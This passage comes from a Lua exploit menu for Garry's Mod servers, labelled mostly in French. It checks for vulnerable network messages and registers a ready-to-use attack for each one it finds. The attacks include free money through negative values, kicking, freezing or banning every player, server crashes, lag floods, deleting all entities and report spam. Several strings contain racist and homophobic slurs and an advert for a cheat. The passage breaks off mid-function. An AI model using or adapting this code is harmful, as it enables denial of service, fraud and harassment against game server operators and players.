6392
6393status = ValidNetString("GMBG:PickupItem")
6394if (status) then
6395CHATPRINT("Exploit Trouvé : Loot Items [GMBG:PickupItem]")
6396addExploit( "130","Loot Items", "", function()
6397surface.PlaySound("garrysmod/ui_click.wav")
6398NOTIFICATION("Starting")
6399for k, v in pairs(ents.GetAll()) do
6400if v:GetClass() == "item_loot" then
6401net.Start("GMBG:PickupItem")
6402net.WriteEntity(v)
6403net.SendToServer()
6404net.Start("GMBG:PickupItem")
6405net.WriteEntity(v)
6406net.SendToServer()
6407net.Start("GMBG:PickupItem")
6408net.WriteEntity(v)
6409net.SendToServer()
6410net.Start("GMBG:PickupItem")
6411net.WriteEntity(v)
6412net.SendToServer()
6413net.Start("GMBG:PickupItem")
6414net.WriteEntity(v)
6415net.SendToServer()
6416net.Start("GMBG:PickupItem")
6417net.WriteEntity(v)
6418net.SendToServer()
6419end
6420end
6421end )
6422end
6423
6424status = ValidNetString("plyWarning")
6425if (status) then
6426CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
6427addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
6428surface.PlaySound("garrysmod/ui_click.wav")
6429NOTIFICATION("Starting")
6430for k, v in pairs( player.GetAll() ) do
6431net.Start('plyWarning')
6432net.WriteEntity(v)
6433net.WriteString('You have to select a player before doing a action.')
6434net.SendToServer()
6435end
6436end )
6437end
6438
6439status = ValidNetString("NLR.ActionPlayer")
6440if (status) then
6441CHATPRINT("Exploit Trouvé : Freeze Everyone [NLR.ActionPlayer]")
6442addExploit( "132","Freeze Everyone", "", function()
6443surface.PlaySound("garrysmod/ui_click.wav")
6444NOTIFICATION("Starting")
6445for k, v in pairs( player.GetAll() ) do
6446net.Start("NLR.ActionPlayer")
6447net.WriteEntity(v)
6448net.SendToServer()
6449end
6450end )
6451end
6452
6453status = ValidNetString("kart_sell")
6454if (status) then
6455CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
6456addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent", function()
6457surface.PlaySound("garrysmod/ui_click.wav")
6458NOTIFICATION("Starting")
6459for i=1, 300 do
6460net.Start("kart_sell")
6461net.WriteString("sw_gokart")
6462net.SendToServer()
6463end
6464end )
6465end
6466
6467status = ValidNetString("ClickerAddToPoints")
6468if (status) then
6469CHATPRINT("Exploit Trouvé : Free Points [ClickerAddToPoints]")
6470addExploit( "134","Free Points", "", function()
6471surface.PlaySound("garrysmod/ui_click.wav")
6472NOTIFICATION("Starting")
6473net.Start("ClickerAddToPoints")
6474net.WriteInt(99999999, 32)
6475net.SendToServer()
6476end )
6477end
6478
6479status = ValidNetString("bodyman_model_change")
6480if (status) then
6481CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
6482addExploit( "135","Body Groups", "constantly changes your appearance", function()
6483surface.PlaySound("garrysmod/ui_click.wav")
6484NOTIFICATION("Starting")
6485local PM = 1
6486local SK = 1
6487local BG = 1
6488local HN = 1
6489local TS = 1
6490local GL = 1
6491local LG = 1
6492if !timer.Exists( "bodygroups" ) then
6493timer.Create("bodygroups", 0, 0, function()
6494PlayerModels = {0,1,2,3,4,5,6}
6495Torso = {0,1,2,3,4,5,6,7,8,9,10}
6496Legs = {0,1,2,3,4,5,6}
6497Hands = {0,1,2}
6498Glasses = {0,1}
6499Skins = {0,1,2,3,4,5,6,7,8,9,10}
6500PM = PM+1
6501TS = TS+1
6502LG = LG+1
6503HN = HN+1
6504GL = GL+1
6505SK = SK+1
6506if (PM>#PlayerModels) then PM=1 end
6507if (SK>#Skins) then SK=1 end
6508if (HN>#Hands) then HN=1 end
6509if (TS>#Torso) then TS=1 end
6510if (GL>#Glasses) then GL=1 end
6511if (LG>#Legs) then LG=1 end
6512net.Start("bodyman_model_change")
6513net.WriteInt(PlayerModels[PM], 10 )
6514net.SendToServer()
6515net.Start("bodygroups_change")
6516net.WriteTable( { 1, Torso[TS] } )
6517net.SendToServer()
6518net.Start("bodygroups_change")
6519net.WriteTable( { 2, Legs[LG] } )
6520net.SendToServer()
6521net.Start("bodygroups_change")
6522net.WriteTable( { 3, Hands[HN] } )
6523net.SendToServer()
6524net.Start("bodygroups_change")
6525net.WriteTable( { 4, Glasses[GL] } )
6526net.SendToServer()
6527end )
6528else
6529timer.Remove("bodygroups")
6530NOTIFICATION("Stopping")
6531end
6532end )
6533end
6534
6535status = ValidNetString("bodyman_model_change_maxrp_57463741")
6536if (status) then
6537CHATPRINT("[88.2] Exploit Trouvé : Body Groups MAXRP [bodyman_model_change_maxrp_57463741]")
6538addExploit( "5505","Body Groups MAXRP", "constantly changes your appearance", function()
6539surface.PlaySound("garrysmod/ui_click.wav")
6540NOTIFICATION("Starting")
6541local PM = 1
6542local SK = 1
6543local BG = 1
6544local HN = 1
6545local TS = 1
6546local GL = 1
6547local LG = 1
6548if !timer.Exists( "bodygroups" ) then
6549timer.Create("bodygroups", 0, 0, function()
6550PlayerModels = {0,1,2,3,4,5,6}
6551Torso = {0,1,2,3,4,5,6,7,8,9,10}
6552Legs = {0,1,2,3,4,5,6}
6553Hands = {0,1,2}
6554Glasses = {0,1}
6555Skins = {0,1,2,3,4,5,6,7,8,9,10}
6556PM = PM+1
6557TS = TS+1
6558LG = LG+1
6559HN = HN+1
6560GL = GL+1
6561SK = SK+1
6562if (PM>#PlayerModels) then PM=1 end
6563if (SK>#Skins) then SK=1 end
6564if (HN>#Hands) then HN=1 end
6565if (TS>#Torso) then TS=1 end
6566if (GL>#Glasses) then GL=1 end
6567if (LG>#Legs) then LG=1 end
6568net.Start("bodygroups_change_maxrp_57457451")
6569net.WriteInt(PlayerModels[PM], 10 )
6570net.SendToServer()
6571net.Start("bodygroups_change_maxrp_57457451")
6572net.WriteTable( { 1, Torso[TS] } )
6573net.SendToServer()
6574net.Start("bodygroups_change_maxrp_57457451")
6575net.WriteTable( { 2, Legs[LG] } )
6576net.SendToServer()
6577net.Start("bodygroups_change_maxrp_57457451")
6578net.WriteTable( { 3, Hands[HN] } )
6579net.SendToServer()
6580net.Start("bodygroups_change_maxrp_57457451")
6581net.WriteTable( { 4, Glasses[GL] } )
6582net.SendToServer()
6583end )
6584else
6585timer.Remove("bodygroups")
6586NOTIFICATION("Stopping")
6587end
6588end )
6589end
6590
6591status = ValidNetString("SendMoney")
6592if (status) then
6593CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
6594addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent", function()
6595surface.PlaySound("garrysmod/ui_click.wav")
6596NOTIFICATION("Starting")
6597hook.Remove( "HUDPaint", "skhdsakjl")
6598net.Start("SendMoney")
6599net.WriteEntity(LocalPlayer())
6600net.WriteEntity(LocalPlayer())
6601net.WriteEntity(LocalPlayer())
6602net.WriteString("-99999999")
6603net.SendToServer()
6604end )
6605end
6606
6607status = ValidNetString("BailOut")
6608if (status) then
6609CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
6610addExploit( "137","Argent Gratuite #17", "", function()
6611surface.PlaySound("garrysmod/ui_click.wav")
6612NOTIFICATION("Starting")
6613for k, v in pairs(player.GetAll()) do
6614net.Start("BailOut")
6615net.WriteEntity(LocalPlayer())
6616net.WriteEntity(v)
6617net.WriteFloat(-999999999)
6618net.SendToServer()
6619end
6620end )
6621end
6622
6623status = ValidNetString("hitcomplete")
6624if (status) then
6625CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
6626addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent", function()
6627surface.PlaySound("garrysmod/ui_click.wav")
6628NOTIFICATION("Starting")
6629net.Start("hitcomplete")
6630net.WriteDouble(99999999)
6631net.SendToServer()
6632end )
6633end
6634----------------------------------------
6635for k,v in pairs(player.GetAll()) do
6636dahater = v
6637end
6638----------------------------------------
6639status = ValidNetString("hhh_request")
6640if (status) then
6641CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
6642addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent", function()
6643surface.PlaySound("garrysmod/ui_click.wav")
6644NOTIFICATION("Starting")
6645local plyhhh = LocalPlayer()
6646if dahater != plyhhh then
6647local hitRequest = {}
6648hitRequest.hitman = plyhhh
6649hitRequest.requester = plyhhh
6650hitRequest.target = dahater
6651hitRequest.reward = -9999999
6652net.Start('hhh_request')
6653net.WriteTable(hitRequest)
6654net.SendToServer()
6655else
6656CHATPRINT("In this version of HHH, you can not use an exploit!")
6657end
6658end )
6659end
6660
6661status = ValidNetString("DaHit")
6662if (status) then
6663CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
6664addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent", function()
6665surface.PlaySound("garrysmod/ui_click.wav")
6666NOTIFICATION("Starting")
6667hook.Remove( "HUDPaint", "skhdsakjl")
6668net.Start("DaHit")
6669net.WriteFloat(-99999999)
6670net.WriteEntity(LocalPlayer())
6671net.WriteEntity(LocalPlayer())
6672net.WriteEntity(LocalPlayer())
6673net.SendToServer()
6674end )
6675end
6676
6677status = ValidNetString("textstickers_entdata")
6678if (status) then
6679CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
6680addExploit( "141","Crash #2", "1tap", function()
6681surface.PlaySound("garrysmod/ui_click.wav")
6682NOTIFICATION("Starting")
6683net.Start("textstickers_entdata")
6684net.WriteUInt(0xFFFFFFF, 32)
6685net.SendToServer()
6686end )
6687end
6688
6689status = ValidNetString("gBan.BanBuffer")
6690if (status) then
6691CHATPRINT("Exploit Trouvé : gBan Everyone [gBan.BanBuffer]")
6692addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
6693surface.PlaySound("garrysmod/ui_click.wav")
6694NOTIFICATION("Starting")
6695for k,v in pairs(player.GetAll()) do
6696if v != LocalPlayer() then
6697net.Start("gBan.BanBuffer")
6698net.WriteBool(true)
6699net.WriteInt(0, 32)
6700net.WriteString("haha owned")
6701net.WriteString(v:SteamID())
6702net.SendToServer()
6703end
6704end
6705end )
6706end
6707
6708status = ValidNetString("ARMORY_RetrieveWeapon")
6709if (status) then
6710CHATPRINT("Exploit Trouvé : Armure Gratuitey #1 [ARMORY_RetrieveWeapon]")
6711addExploit( "143","Armure Gratuitey #1", "get weapon #1", function()
6712surface.PlaySound("garrysmod/ui_click.wav")
6713NOTIFICATION("Starting")
6714net.Start("ARMORY_RetrieveWeapon")
6715net.WriteString("weapon1")
6716net.SendToServer()
6717end )
6718end
6719
6720status = ValidNetString("ARMORY_RetrieveWeapon")
6721if (status) then
6722CHATPRINT("Exploit Trouvé : Armure Gratuitey #2 [ARMORY_RetrieveWeapon]")
6723addExploit( "144","Armure Gratuitey #2", "get weapon #2", function()
6724surface.PlaySound("garrysmod/ui_click.wav")
6725NOTIFICATION("Starting")
6726net.Start("ARMORY_RetrieveWeapon")
6727net.WriteString("weapon2")
6728net.SendToServer()
6729end )
6730end
6731
6732status = ValidNetString("ARMORY_RetrieveWeapon")
6733if (status) then
6734CHATPRINT("Exploit Trouvé : Armure Gratuitey #3 [ARMORY_RetrieveWeapon]")
6735addExploit( "145","Armure Gratuitey #3", "get weapon #3", function()
6736surface.PlaySound("garrysmod/ui_click.wav")
6737NOTIFICATION("Starting")
6738net.Start("ARMORY_RetrieveWeapon")
6739net.WriteString("weapon3")
6740net.SendToServer()
6741end )
6742end
6743
6744status = ValidNetString("TransferReport")
6745if (status) then
6746CHATPRINT("Exploit Trouvé : Report Spammer [TransferReport]")
6747addExploit( "146","Report Spammer", "Report Tout Le Monde players", function()
6748surface.PlaySound("garrysmod/ui_click.wav")
6749NOTIFICATION("Starting")
6750net.Start("TransferReport")
6751net.WriteString(v:SteamID())
6752net.WriteString("CHINKGANG FAGOTS")
6753net.WriteString("DITCH THIS SHITTY SERVER AND BUY 88Triggering TODAY")
6754net.SendToServer()
6755end )
6756end
6757
6758status = ValidNetString("FIRE_CreateFireTruck")
6759if (status) then
6760CHATPRINT("Exploit Trouvé : Create Fire Truck [FIRE_CreateFireTruck]")
6761addExploit( "147","Create Fire Truck", "", function()
6762surface.PlaySound("garrysmod/ui_click.wav")
6763NOTIFICATION("Starting")
6764net.Start("FIRE_CreateFireTruck")
6765net.SendToServer()
6766end )
6767end
6768
6769status = ValidNetString("TFA_Attachment_RequestAll")
6770if (status) then
6771CHATPRINT("Exploit Trouvé : Lagger #20 [TFA_Attachment_RequestAll]")
6772addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
6773surface.PlaySound("garrysmod/ui_click.wav")
6774if !timer.Exists( "lagger20" ) then
6775timer.Create("lagger20", 0,0, function()
6776for i = 1, 800 do
6777net.Start("TFA_Attachment_RequestAll",true)
6778net.SendToServer()
6779end
6780end)
6781NOTIFICATION("Starting Lagger")
6782else
6783timer.Remove("lagger20")
6784NOTIFICATION("Stopping Lagger")
6785end
6786end)
6787end
6788
6789status = ValidNetString("FIRE_RemoveFireTruck")
6790if (status) then
6791CHATPRINT("Exploit Trouvé : Remove Fire Truck [FIRE_RemoveFireTruck]")
6792addExploit( "149","Remove Fire Truck", "", function()
6793surface.PlaySound("garrysmod/ui_click.wav")
6794NOTIFICATION("Starting")
6795net.Start("FIRE_RemoveFireTruck")
6796net.SendToServer()
6797end )
6798end
6799
6800status = ValidNetString("gPrinters.sendID")
6801if (status) then
6802CHATPRINT("Exploit Trouvé : Lagger #21 [gPrinters.sendID]")
6803addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
6804surface.PlaySound("garrysmod/ui_click.wav")
6805NOTIFICATION("Starting")
6806if not timer.Exists("lagger21") then
6807timer.Create("lagger21", 0, 0, function()
6808for i = 1, 1000 do
6809net.Start("gPrinters.sendID",true)
6810net.WriteEntity(LocalPlayer())
6811net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
6812net.SendToServer()
6813end
6814end )
6815end
6816end )
6817end
6818
6819status = ValidNetString("requestmoneyforvk") -- RusElite Server
6820if (status) then
6821CHATPRINT("Exploit Trouvé : Free 50k [requestmoneyforvk]")
6822addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
6823surface.PlaySound("garrysmod/ui_click.wav")
6824NOTIFICATION("Starting")
6825net.Start("requestmoneyforvk")
6826net.WriteEntity(LocalPlayer())
6827net.SendToServer()
6828end )
6829end
6830
6831status = ValidNetString("vj_testentity_runtextsd")
6832if (status) then
6833CHATPRINT("Exploit Trouvé : VJSay [NEW] [vj_testentity_runtextsd]")
6834addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
6835surface.PlaySound("garrysmod/ui_click.wav")
6836NOTIFICATION("Starting")
6837for k,v in pairs(player.GetAll()) do
6838net.Start("vj_testentity_runtextsd")
6839net.WriteEntity(v)
6840net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
6841net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
6842net.SendToServer()
6843end
6844end )
6845end
6846
6847status = ValidNetString("NET_BailPlayer") -- need to test
6848if (status) then
6849CHATPRINT("Exploit Trouvé : Players Spam [NET_BailPlayer]")
6850addExploit( "153","Players Spam", "", function()
6851surface.PlaySound("garrysmod/ui_click.wav")
6852NOTIFICATION("Starting")
6853for k, v in pairs (player.GetAll()) do
6854net.Start("NET_BailPlayer")
6855net.WriteEntity(v)
6856net.WriteEntity(v)
6857net.SendToServer()
6858end
6859end )
6860end
6861
6862status = ValidNetString("Taxi_Add") -- need to test
6863if (status) then
6864CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
6865addExploit( "154","Argent Gratuite #21", "maybe not work", function()
6866surface.PlaySound("garrysmod/ui_click.wav")
6867NOTIFICATION("Starting")
6868net.Start("Taxi_Add")
6869net.WriteString("MLG")
6870net.WriteTable({-1333.647461, -1473.931763, -139.968750})
6871net.WriteFloat(-99999999)
6872net.WriteString(Desc)
6873net.SendToServer()
6874end )
6875end
6876
6877status = ValidNetString("BuyCar")
6878if (status) then
6879CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
6880addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent", function()
6881surface.PlaySound("garrysmod/ui_click.wav")
6882NOTIFICATION("Starting")
6883net.Start('BuyCar')
6884net.WriteFloat(-1000000)
6885net.WriteEntity(LocalPlayer())
6886net.WriteString("Gay")
6887net.WriteString("Cock")
6888net.WriteString("Twat")
6889net.SendToServer()
6890end )
6891end
6892
6893status = ValidNetString("rpi_trade_end")
6894if (status) then
6895CHATPRINT("Exploit Trouvé : Test Function [rpi_trade_end]")
6896addExploit( "156","Test Function", "just test", function()
6897surface.PlaySound("garrysmod/ui_click.wav")
6898NOTIFICATION("Starting")
6899local it = 0
6900timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
6901if( it > #player.GetAll() ) then
6902it = 1;
6903else
6904it = it + 1;
6905end
6906net.Start("rpi_trade_end")
6907net.WriteUInt( it, 16 )
6908net.SendToServer()
6909end )
6910end )
6911end
6912
6913status = ValidNetString("ClickerForceSave")
6914if (status) then
6915CHATPRINT("Exploit Trouvé : Melon Crash [ClickerForceSave]")
6916addExploit( "157","Melon Crash", "", function()
6917surface.PlaySound("garrysmod/ui_click.wav")
6918NOTIFICATION("Starting")
6919hook.Add("Think","ps_spam",function()
6920for k, v in pairs (player.GetAll()) do
6921net.Start("ClickerForceSave")
6922net.WriteEntity(ply)
6923net.WriteInt(1, 1)
6924net.SendToServer()
6925end
6926end )
6927end )
6928end
6929
6930status = ValidNetString("SRequest")
6931if (status) then
6932CHATPRINT("Exploit Trouvé : Deagle Grab [SRequest]")
6933addExploit( "158","Deagle Grab", "", function()
6934surface.PlaySound("garrysmod/ui_click.wav")
6935NOTIFICATION("Starting")
6936for k, v in pairs (player.GetAll()) do
6937net.Start("SRequest")
6938net.WriteEntity(v)
6939net.SendToServer()
6940end
6941end )
6942end
6943
6944status = ValidNetString("HealButton")
6945if (status) then
6946CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
6947addExploit( "159","PV Gratuit", "PV Gratuit", function()
6948surface.PlaySound("garrysmod/ui_click.wav")
6949NOTIFICATION("Starting")
6950net.Start("HealButton")
6951net.WriteEntity(LocalPlayer())
6952net.WriteFloat(999999)
6953net.SendToServer()
6954end )
6955end
6956
6957status = ValidNetString("ArmorButton")
6958if (status) then
6959CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
6960addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
6961surface.PlaySound("garrysmod/ui_click.wav")
6962NOTIFICATION("Starting")
6963net.Start("ArmorButton")
6964net.WriteEntity(LocalPlayer())
6965net.WriteFloat(999999)
6966net.SendToServer()
6967end )
6968end
6969
6970status = ValidNetString("SprintSpeedset")
6971if (status) then
6972CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
6973addExploit( "161","TTT SpeedHack", "changes your speed", function()
6974surface.PlaySound("garrysmod/ui_click.wav")
6975NOTIFICATION("Starting")
6976net.Start("SprintSpeedset")
6977net.WriteFloat(math.min(math.max(2, 0.1),2 ))
6978net.SendToServer()
6979end )
6980end
6981
6982status = ValidNetString("GiveArmor100")
6983if (status) then
6984CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
6985addExploit( "162","Exploit D'Armure ", "", function()
6986surface.PlaySound("garrysmod/ui_click.wav")
6987NOTIFICATION("Starting")
6988net.Start("GiveArmor100")
6989net.SendToServer()
6990end )
6991end
6992
6993status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
6994if (status) then
6995CHATPRINT("Exploit Trouvé : SCP 294 JAM [DOIT ÊTRE TEST] [GiveSCP294Cup]")
6996SCPLAG = 0
6997addExploit( "163","SCP 249 JAM!", "", function()
6998surface.PlaySound("garrysmod/ui_click.wav")
6999NOTIFICATION("Starting")
7000if (SCPLAG == 0) then
7001SCPLAG = 1
7002timer.Create( "LagThatShit", time, 0.05, function()
7003for k, v in pairs( ents.GetAll() ) do
7004if v:GetClass() == "scp294" then
7005net.Start("GiveSCP294Cup")
7006net.WriteString("shit")
7007net.WriteEntity(v)
7008net.SendToServer()
7009end
7010end
7011end)
7012else
7013SCPLAG = 0
7014timer.Remove("LagThatShit")
7015end
7016end)
7017end
7018
7019status = ValidNetString("Client_To_Server_OpenEditor")
7020if (status) then
7021CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson [Client_To_Server_OpenEditor]")
7022addExploit( "164","SCP 249 Drink Menu Hack", "", function()
7023surface.PlaySound("garrysmod/ui_click.wav")
7024NOTIFICATION("Starting")
7025net.Start("Client_To_Server_OpenEditor")
7026net.SendToServer()
7027end )
7028end
7029
7030status = ValidNetString("DuelMessageReturn")
7031if (status) then
7032CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
7033addExploit( "165","Combat Fou", "forces all players to fight with all players, discovered by Solly", function()
7034surface.PlaySound("garrysmod/ui_click.wav")
7035NOTIFICATION("Starting")
7036timer.Create("crazyduel", 0.1, 0, function()
7037s.duel[1] = table.Random( player.GetAll() )
7038s.duel[2] = table.Random( player.GetAll() )
7039net.Start("DuelMessageReturn")
7040net.WriteFloat(1)
7041net.WriteTable(s.duel)
7042net.SendToServer()
7043end )
7044end )
7045end
7046
7047status = ValidNetString("userAcceptPrestige")
7048if (status) then
7049CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
7050addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
7051surface.PlaySound("garrysmod/ui_click.wav")
7052NOTIFICATION("Starting")
7053net.Start("userAcceptPrestige")
7054net.SendToServer()
7055end )
7056end
7057
7058status = ValidNetString("wordenns")
7059if (status) then
7060CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
7061addExploit( "167","Voler L'argents De Tous #11", "withdraw money from all printers", function()
7062surface.PlaySound("garrysmod/ui_click.wav")
7063NOTIFICATION("Starting")
7064CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
7065for k,v in pairs(ents.FindByClass("derma_printer")) do
7066net.Start("wordenns")
7067net.WriteEntity(v)
7068net.SendToServer()
7069end
7070end)
7071end
7072
7073status = ValidNetString("guncraft_removeWorkbench")
7074if (status) then
7075CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités [guncraft_removeWorkbench]")
7076addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
7077surface.PlaySound("garrysmod/ui_click.wav")
7078NOTIFICATION("Starting")
7079if !timer.Exists( "removentity" ) then
7080timer.Create("removentity", 3, 0, function()
7081for k,v in pairs(ents.GetAll()) do
7082net.Start("guncraft_removeWorkbench")
7083net.WriteEntity(v)
7084net.SendToServer()
7085end
7086end )
7087end
7088end )
7089end
7090
7091status = ValidNetString("BuyKey")
7092if (status) then
7093CHATPRINT("Exploit Trouvé : Blue Unbox Exploit [NEED TO TEST]")
7094addExploit( "169","Blue Unbox Exploit", "", function()
7095surface.PlaySound("garrysmod/ui_click.wav")
7096NOTIFICATION("Starting")
7097net.Start("BuyKey")
7098net.SendToServer()
7099net.Start("BuyCrate")
7100net.SendToServer()
7101end )
7102end
7103
7104status = ValidNetString("casinokit_chipexchange")
7105if (status) then
7106CHATPRINT("Exploit Trouvé : Argent Gratuite #23 [casinokit_chipexchange]")
7107addExploit( "170","Argent Gratuite #23", "only works if outdated", function()
7108surface.PlaySound("garrysmod/ui_click.wav")
7109NOTIFICATION("Starting")
7110local moneylog = LocalPlayer():getDarkRPVar("money")
7111net.Start("casinokit_chipexchange")
7112net.WriteEntity(self)
7113net.WriteString("darkrp")
7114net.WriteBool(true)
7115net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
7116net.SendToServer()
7117timer.Simple(3, function()
7118for i=1, 5000 do
7119net.Start("casinokit_chipexchange")
7120net.WriteEntity(self)
7121net.WriteString("darkrp")
7122net.WriteBool(false)
7123net.WriteUInt(moneylog*0.10,32)
7124net.SendToServer()
7125end
7126end)
7127end )
7128end
7129
7130status = ValidNetString("PurchaseWeed")
7131if (status) then
7132CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
7133addExploit( "171","Achetez Drogue", "", function()
7134surface.PlaySound("garrysmod/ui_click.wav")
7135NOTIFICATION("Starting")
7136net.Start("PurchaseWeed")
7137net.WriteInt(tonumber(10000),16)
7138net.WriteInt(tonumber(1),16)
7139net.WriteBool(LocalPlayer().Buying)
7140net.SendToServer()
7141end )
7142end
7143
7144status = ValidNetString("PurchaseWeed")
7145if (status) then
7146CHATPRINT("Exploit Trouvé : Sell Weed [PurchaseWeed]")
7147addExploit( "172","Sell Weed", "", function()
7148surface.PlaySound("garrysmod/ui_click.wav")
7149NOTIFICATION("Starting")
7150net.Start("PurchaseWeed")
7151net.WriteInt(tonumber(100),16)
7152net.WriteInt(tonumber(100),16)
7153net.WriteBool(LocalPlayer().Selling)
7154net.SendToServer()
7155end )
7156end
7157
7158status = ValidNetString("DoDealerDeliver")
7159if (status) then
7160CHATPRINT("Exploit Trouvé : Buy Tab [DoDealerDeliver]")
7161addExploit( "173","Buy Tab", "", function()
7162surface.PlaySound("garrysmod/ui_click.wav")
7163NOTIFICATION("Starting")
7164if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
7165net.Start("DoDealerDeliver")
7166net.WriteBool(false)
7167net.SendToServer()
7168end
7169end )
7170end
7171
7172status = ValidNetString("DoDealerDeliver")
7173if (status) then
7174CHATPRINT("Exploit Trouvé : Buy Bong [DoDealerDeliver]")
7175addExploit( "174","Buy Bong", "", function()
7176surface.PlaySound("garrysmod/ui_click.wav")
7177NOTIFICATION("Starting")
7178if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
7179net.Start("DoDealerDeliver")
7180net.WriteBool(true)
7181net.SendToServer()
7182end
7183end )
7184end
7185
7186status = ValidNetString("sendDuelInfo")
7187if (status) then
7188CHATPRINT("Exploit Trouvé : Duel NPC Exploit [sendDuelInfo]")
7189addExploit( "175","Duel NPC Exploit", "", function()
7190surface.PlaySound("garrysmod/ui_click.wav")
7191NOTIFICATION("Starting")
7192net.Start("sendDuelInfo")
7193net.WriteString(table.Random(player.GetAll()):Nick())
7194net.WriteString("xxdddd")
7195net.WriteString("1e+100")
7196net.WriteEntity(table.random(player.GetAll()):UserID())
7197net.WriteInt(3,3)
7198net.SendToServer()
7199end )
7200end
7201
7202status = ValidNetString("InviteMember")
7203if (status) then
7204CHATPRINT("Exploit Trouvé : Invite all players [InviteMember]")
7205addExploit( "176","Invite all players", "Invite all players to your org", function()
7206surface.PlaySound("garrysmod/ui_click.wav")
7207NOTIFICATION("Starting")
7208for k,v in pairs(player.GetAll()) do
7209net.Start("InviteMember")
7210net.WriteEntity(v)
7211net.WriteEntity(v)
7212net.WriteString("lol what")
7213net.SendToServer()
7214end
7215end )
7216end
7217
7218status = ValidNetString("newTerritory")
7219if (status) then
7220CHATPRINT("Exploit Trouvé : New Territory [newTerritory]")
7221addExploit( "177","New Territory", "", function()
7222surface.PlaySound("garrysmod/ui_click.wav")
7223NOTIFICATION("Starting")
7224for k,v in pairs(player.GetAll()) do
7225net.Start("newTerritory")
7226net.WriteString("Hackers")
7227net.WriteTable(t)
7228net.SendToServer()
7229end
7230end )
7231end
7232
7233status = ValidNetString("CreateOrganization")
7234if (status) then
7235CHATPRINT("Exploit Trouvé : Org Exploit [CreateOrganization]")
7236addExploit( "178","Org Exploit", "", function()
7237surface.PlaySound("garrysmod/ui_click.wav")
7238NOTIFICATION("Starting")
7239for k,v in pairs(player.GetAll()) do
7240net.Start("CreateOrganization")
7241net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7242net.WriteString( "Join my gang or will rekt u" )
7243net.SendToServer()
7244end
7245end )
7246end
7247
7248status = ValidNetString("DisbandOrganization")
7249if (status) then
7250CHATPRINT("Exploit Trouvé : Org Disband [DisbandOrganization]")
7251addExploit( "179","Org Disband", "", function()
7252surface.PlaySound("garrysmod/ui_click.wav")
7253NOTIFICATION("Starting")
7254net.Start("DisbandOrganization")
7255net.WriteEntity(LocalPlayer())
7256net.SendToServer()
7257end )
7258end
7259
7260status = ValidNetString("ChangeOrgName")
7261if (status) then
7262CHATPRINT("Exploit Trouvé : Org Change Name [ChangeOrgName]")
7263addExploit( "180","Org Change Name", "", function()
7264surface.PlaySound("garrysmod/ui_click.wav")
7265NOTIFICATION("Starting")
7266net.Start("ChangeOrgName")
7267net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
7268net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
7269net.WriteEntity(LocalPlayer())
7270net.SendToServer()
7271end )
7272end
7273
7274status = ValidNetString("IS_SubmitSID_C2S")
7275if (status) then
7276CHATPRINT("Exploit Trouvé : Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
7277addExploit( "181","Free Reward", "", function()
7278surface.PlaySound("garrysmod/ui_click.wav")
7279NOTIFICATION("Starting")
7280net.Start("IS_SubmitSID_C2S")
7281net.WriteString("Killa")
7282net.SendToServer()
7283net.Start("IS_GetReward_C2S")
7284net.SendToServer()
7285end )
7286end
7287
7288status = ValidNetString("AcceptBailOffer")
7289if (status) then
7290CHATPRINT("Exploit Trouvé : Bail Offer Exploit [AcceptBailOffer]")
7291addExploit( "182","Bail Offer Exploit", "", function()
7292surface.PlaySound("garrysmod/ui_click.wav")
7293NOTIFICATION("Starting")
